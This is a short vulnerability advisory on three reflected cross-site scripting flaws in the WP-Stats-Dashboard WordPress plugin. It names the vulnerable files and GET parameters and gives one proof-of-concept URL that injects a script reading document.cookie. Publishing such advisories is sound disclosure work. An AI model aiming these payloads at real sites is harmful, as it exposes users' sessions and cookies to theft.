Vulnerability Details:
High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in WP-Stats-Dashboard, which can be exploited to perform cross-site scripting attacks.

1) Input passed via the "icon", "url", "name", "type", "code", "username" GET parameters to /wp-content/plugins/wp-stats-dashboard/view/admin/admin_profile_type.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.

The following PoC code is available:

http://[host]/wp-content/plugins/wp-stats-dashboard/view/admin/admin_profile_type.php?icon=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

2) Input passed via the "onchange" GET parameter to /wp-content/plugins/wp-stats-dashboard/view/admin/blocks/select-trend.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.

3) Input passed via the "submenu" GET parameter to /wp-content/plugins/wp-stats-dashboard/view/admin/blocks/submenu.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.
